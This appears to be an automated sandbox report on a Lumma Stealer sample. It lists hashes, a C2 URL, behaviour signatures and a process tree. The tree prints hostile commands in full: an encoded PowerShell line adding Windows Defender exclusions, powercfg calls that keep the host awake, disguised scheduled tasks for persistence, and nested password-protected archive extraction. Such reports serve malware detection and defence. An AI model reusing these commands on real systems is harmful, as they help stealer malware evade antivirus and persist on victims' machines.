Analysis

  • max time kernel
    91s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-07-2024 18:41

General

  • Target

  • Size

    113.1MB

  • MD5

    2e3e5073d22bbcd2f2b0bfea40c95f29

  • SHA1

    acc3917dd7d803e68475c966064bf60177934c78

  • SHA256

    c3030eb910a9a625cd7ccfb58c831efe98db82b6e20e294d101345c24c162a2e

  • SHA512

    bd8532d16d5e32763ae6e9f4aa1a3676226682edfab7b5a1efd132f5f76ce14a6bdf061271e02681818e1d55c1791e9e613677d6648075d1af61b51a4f5176e3

  • SSDEEP

    98304:jzGfaIjrga+OQlJMHIu5LKoo2A5FEtHU53KW1avHpgAE6H3ei3AaUi:QjP+OQlmyEUJ1avHe56XLAaU

Malware Config

Extracted

Family

lumma

C2

https://answerrsdo.shop/api

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 7 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 6 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe
        "C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1108
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:624
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:1784
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p1404753551733818025492326517 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4372
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_6.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4444
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_5.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2120
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_4.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4004
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_3.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3032
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4416
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1892
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:3292
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:512
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjAGQAVwBzAGkAWgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEUAQwB0ADcATQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB4AG8AaQA5AHYAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBKAGUAVAB2AGQAeABMAG0AIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Power Settings
                • Suspicious use of WriteProcessMemory
                PID:3180
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjAGQAVwBzAGkAWgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEUAQwB0ADcATQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB4AG8AaQA5AHYAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBKAGUAVAB2AGQAeABMAG0AIwA+AA=="
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1944
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg /x -hibernate-timeout-ac 0
                  7⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3684
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg /x -hibernate-timeout-dc 0
                  7⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1712
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg /x -standby-timeout-ac 0
                  7⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3528
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg /x -standby-timeout-dc 0
                  7⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:892
                • C:\Windows\SysWOW64\powercfg.exe
                  powercfg /hibernate off
                  7⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:400
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2172
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2700
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9958" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2208
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9958" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2132

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\ID2W1J896NAC3NVW3VI124CJV.exe

      Filesize

      2.5MB

      MD5

      b2e6a3d0bf3320b759c464ae6fa5b735

      SHA1

      cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1

      SHA256

      771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3

      SHA512

      bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nlnpbaih.2ma.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

      Filesize

      1.6MB

      MD5

      72491c7b87a7c2dd350b727444f13bb4

      SHA1

      1e9338d56db7ded386878eab7bb44b8934ab1bc7

      SHA256

      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

      SHA512

      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

      Filesize

      458KB

      MD5

      619f7135621b50fd1900ff24aade1524

      SHA1

      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

      SHA256

      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

      SHA512

      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

      Filesize

      2.2MB

      MD5

      6dd7f70cddc4310e047032d70550f72c

      SHA1

      e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562

      SHA256

      e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d

      SHA512

      1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe

      Filesize

      21KB

      MD5

      4265bf9f9535ebb4e1830e2a50589285

      SHA1

      ddc45fe277a3b39179dd9e39e17d71b50a184607

      SHA256

      c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403

      SHA512

      3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

      Filesize

      9KB

      MD5

      18f4fe969c4ba0517b403e28f7ad2b72

      SHA1

      9df09751ee1246db2ed6b6ed6fec87fb0891e077

      SHA256

      06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4

      SHA512

      9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

      Filesize

      9KB

      MD5

      a915fd2a4e2750ee9003e628294bf284

      SHA1

      f9adc1e65fc3d2cf39b2c5a89030f3225e21616d

      SHA256

      5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285

      SHA512

      044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip

      Filesize

      9KB

      MD5

      4a5f569872c858ede1c0c67500cfdd6d

      SHA1

      cdcac69d89b45a7903198467c2d2d32126c31661

      SHA256

      88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc

      SHA512

      d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip

      Filesize

      9KB

      MD5

      6f7f4f7ed739e3ac5eee8d0876ff76d4

      SHA1

      9a65d52885624dc47f342b5a9875d7720540c755

      SHA256

      b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc

      SHA512

      35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip

      Filesize

      9KB

      MD5

      870a5535c79edcf782551514f48d89ab

      SHA1

      333d814d65753cdc4c4e8fb587c09af6960110d1

      SHA256

      814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d

      SHA512

      f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip

      Filesize

      1.6MB

      MD5

      a62944686498212b290eae637729a151

      SHA1

      2053660850d3f578f7b31e5ced16069d6f9c4ee0

      SHA256

      0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e

      SHA512

      ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3

    • C:\Users\Admin\AppData\Local\Temp\main\file.bin

      Filesize

      1.6MB

      MD5

      716459a6ceac7d310d4227ea3e9ddb59

      SHA1

      fa27addf18c197bf5fc054bfb5ae57de1caf3382

      SHA256

      ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1

      SHA512

      3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1

    • C:\Users\Admin\AppData\Local\Temp\main\main.bat

      Filesize

      474B

      MD5

      893874465a8d9f68f0684fd61e9f1d3c

      SHA1

      866a58255ebab05d4ee2f2ed8383a6555ac1df03

      SHA256

      e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0

      SHA512

      1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7

    • memory/512-79-0x0000000004ED0000-0x0000000004EDA000-memory.dmp

      Filesize

      40KB

    • memory/512-78-0x0000000004F00000-0x0000000004F92000-memory.dmp

      Filesize

      584KB

    • memory/512-80-0x0000000005190000-0x00000000051F6000-memory.dmp

      Filesize

      408KB

    • memory/512-76-0x00000000004C0000-0x00000000004CC000-memory.dmp

      Filesize

      48KB

    • memory/512-77-0x0000000005410000-0x00000000059B4000-memory.dmp

      Filesize

      5.6MB

    • memory/1616-6-0x00007FF6DE930000-0x00007FF6DF9DE000-memory.dmp

      Filesize

      16.7MB

    • memory/1616-4-0x00007FF6DE930000-0x00007FF6DF9DE000-memory.dmp

      Filesize

      16.7MB

    • memory/1944-94-0x0000000005E20000-0x0000000006174000-memory.dmp

      Filesize

      3.3MB

    • memory/1944-111-0x0000000007740000-0x000000000775A000-memory.dmp

      Filesize

      104KB

    • memory/1944-118-0x00000000079C0000-0x00000000079C8000-memory.dmp

      Filesize

      32KB

    • memory/1944-81-0x0000000004E80000-0x0000000004EB6000-memory.dmp

      Filesize

      216KB

    • memory/1944-82-0x00000000054F0000-0x0000000005B18000-memory.dmp

      Filesize

      6.2MB

    • memory/1944-84-0x0000000005C90000-0x0000000005CF6000-memory.dmp

      Filesize

      408KB

    • memory/1944-117-0x0000000007A70000-0x0000000007A8A000-memory.dmp

      Filesize

      104KB

    • memory/1944-83-0x0000000005BB0000-0x0000000005BD2000-memory.dmp

      Filesize

      136KB

    • memory/1944-116-0x0000000007990000-0x00000000079A4000-memory.dmp

      Filesize

      80KB

    • memory/1944-95-0x00000000063F0000-0x000000000640E000-memory.dmp

      Filesize

      120KB

    • memory/1944-96-0x0000000006440000-0x000000000648C000-memory.dmp

      Filesize

      304KB

    • memory/1944-97-0x00000000069E0000-0x0000000006A12000-memory.dmp

      Filesize

      200KB

    • memory/1944-98-0x000000006F670000-0x000000006F6BC000-memory.dmp

      Filesize

      304KB

    • memory/1944-108-0x0000000006A20000-0x0000000006A3E000-memory.dmp

      Filesize

      120KB

    • memory/1944-109-0x0000000007610000-0x00000000076B3000-memory.dmp

      Filesize

      652KB

    • memory/1944-110-0x0000000007D80000-0x00000000083FA000-memory.dmp

      Filesize

      6.5MB

    • memory/1944-115-0x0000000007980000-0x000000000798E000-memory.dmp

      Filesize

      56KB

    • memory/1944-112-0x00000000077B0000-0x00000000077BA000-memory.dmp

      Filesize

      40KB

    • memory/1944-113-0x00000000079D0000-0x0000000007A66000-memory.dmp

      Filesize

      600KB

    • memory/1944-114-0x0000000007940000-0x0000000007951000-memory.dmp

      Filesize

      68KB

    • memory/2232-8-0x0000000000F70000-0x0000000000FC7000-memory.dmp

      Filesize

      348KB

    • memory/2232-14-0x0000000000F70000-0x0000000000FC7000-memory.dmp

      Filesize

      348KB

    • memory/2232-5-0x0000000000F70000-0x0000000000FC7000-memory.dmp

      Filesize

      348KB

    • memory/2232-9-0x0000000000F70000-0x0000000000FC7000-memory.dmp

      Filesize

      348KB